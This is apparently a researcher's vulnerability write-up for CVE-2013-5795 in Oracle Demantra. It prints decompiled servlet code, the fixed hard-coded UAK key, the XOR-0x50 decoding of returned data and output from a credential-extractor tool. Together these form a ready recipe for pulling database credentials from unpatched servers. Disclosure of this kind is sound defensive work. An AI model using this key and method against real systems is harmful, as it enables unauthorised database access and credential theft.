The purpose of this post is to present a technical report of the CVE-2013-5795 vulnerability. This bug was found on a bug hunt weekend.
Oracle Demantra is a demand management, sales & operations planning, and trade promotions management solutions, which was acquired by Oracle in 2006. It was curious to note no previously vulnerabilities had been identified, which made this a very interesting candidate for research.
Vulnerable System:
- Oracle Demantra 12.2.1
Vulnerability Description:
Demantra has a backend function that allows an administrator to retrieve the database instance name and the corresponding credentials.
The URL endpoint for this functionality is located at:
- /demantra/ServerDetailsServlet
The initial function looks like this:
public void doGet(HttpServletRequest iRequest, HttpServletResponse ioResponse) throws ServletException, IOException { PrintWriter outWriter = null; String dbDetails = null; String msg = null; String uak = iRequest.getParameter("UAK"); if(Logger.isDebugEnabled("appserver.configuration")) MessagesService.getPlatformMassage(40688, new Object[] { getClass().getName(), (new StringBuilder()).append("UAK=").append(uak).toString() }); if(isValidUAK(uak)) { dbDetails = getDBParams(); dbDetails = CryptographicService.encodeString(dbDetails); msg = MessagesService.getPlatformMassage(20176, new Object[] { dbDetails }); if(Logger.isDebugEnabled("appserver.configuration")) Logger.log("appserver.configuration", msg); if(dbDetails != null) { outWriter = new PrintWriter(ioResponse.getOutputStream()); outWriter.print(dbDetails); outWriter.flush(); outWriter.close(); } else { ioResponse.sendError(500, msg); } } else { ioResponse.sendError(403); } }
We can see that a URL parameter named UAK is required. If the UAK string is correct then the database parameters are read and encrypted.
The getDBParams function looks like this:
private String getDBParams() { StringBuilder strBuilder = new StringBuilder(); String dbName = null; String resStr = null; String msg = null; boolean isValid = true; if(JDBCConnectionPool.DBTypeId == 1) dbName = "orc"; else dbName = CommonProp.DB_NAME; if(CommonProp.DB_USER == null || CommonProp.DB_USER.length() == 0) { isValid = false; msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_USER }); Logger.warn(msg); } if(CommonProp.DB_PASSWORD == null || CommonProp.DB_PASSWORD.length() == 0) { isValid = false; msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_PASSWORD }); Logger.warn(msg); } if(CommonProp.TNS_NAME == null || CommonProp.TNS_NAME.length() == 0) { isValid = false; msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_TNS_NAME }); Logger.warn(msg); } if(dbName == null || dbName.length() == 0) { isValid = false; msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_NAME }); Logger.warn(msg); } if(JDBCConnectionPool.DBTypeId < 1 || JDBCConnectionPool.DBTypeId > 2) { isValid = false; msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_TYPE }); Logger.warn(msg); } if(isValid) { strBuilder.append(CommonProp.DB_USER); strBuilder.append("?"); strBuilder.append(CommonProp.DB_PASSWORD); strBuilder.append("?"); strBuilder.append(CommonProp.TNS_NAME); strBuilder.append("?"); strBuilder.append(dbName); strBuilder.append("?"); strBuilder.append(JDBCConnectionPool.DBTypeId); resStr = strBuilder.toString(); } return resStr; }
Now we need to see how UAK is calculated. The necessary function can be found in the following file:
- WEB-INF/classes/com/demantra/applicationServer/metaDataObjects/user/SGEUser.class
Suprisingly, the UAK key is calculated statically:
private static String createJavaUAK() { String uak = null; try { String encryptedPassword = new String(CryptographicService.encodeHashStringHex("er6Us8wB", "SHA-256")); StringBuffer tmp = new StringBuffer("sge"); tmp.append(0); tmp.append(encryptedPassword); uak = new String(CryptographicService.encodeHashStringHex(tmp.toString(), "SHA-256")); } catch(NoSuchAlgorithmException e) { Logger.error(e); } return uak; }
When calculated, the UAK string will always be:
- 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1
The last step is to analyze how the dbDetails parameter encrypts the data, so that we can decrypt it correctly. The function looks like this:
public static String decodeString(String text) { if(text == null) return null; String ret = null; StringTokenizer strTokenizer = new StringTokenizer(text, ","); int size = strTokenizer.countTokens(); byte bytes[] = new byte[size]; for(int counter = 0; strTokenizer.hasMoreTokens(); counter++) { int a = Integer.parseInt(strTokenizer.nextToken()); a ^= 0x50; bytes[counter] = (byte)a; } try { ret = new String(bytes, "UTF-8"); } catch(Exception e) { e.printStackTrace(); } return ret; }
As we can see the method used to secure the data is a simple XOR algorithm.
Armed with those information it is possible to create a simple database credentials extractor:
$ java getUAK -=[Oracle Demantra Database Details Retriever ]=- [+] UAK Key is: 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1 [+] Retrieved the following encrypted string: 4,21,3,4,111,36,53,35,36,111,52,53,61,49,62,36,34,49,111,63,34,51,111,97, [+] Decrypted string is: TEST?test?demantra?orc?1
Together with the authentication bypass this can be exploited unauthenticated as well.
Impact:
A remote attacker could exploit this issue in combination with other found issues, to extract the database credentials and instance name as an unauthenticated user, otherwise authentication is required.
Recommendation:
Please see the Oracle CPU for remediation: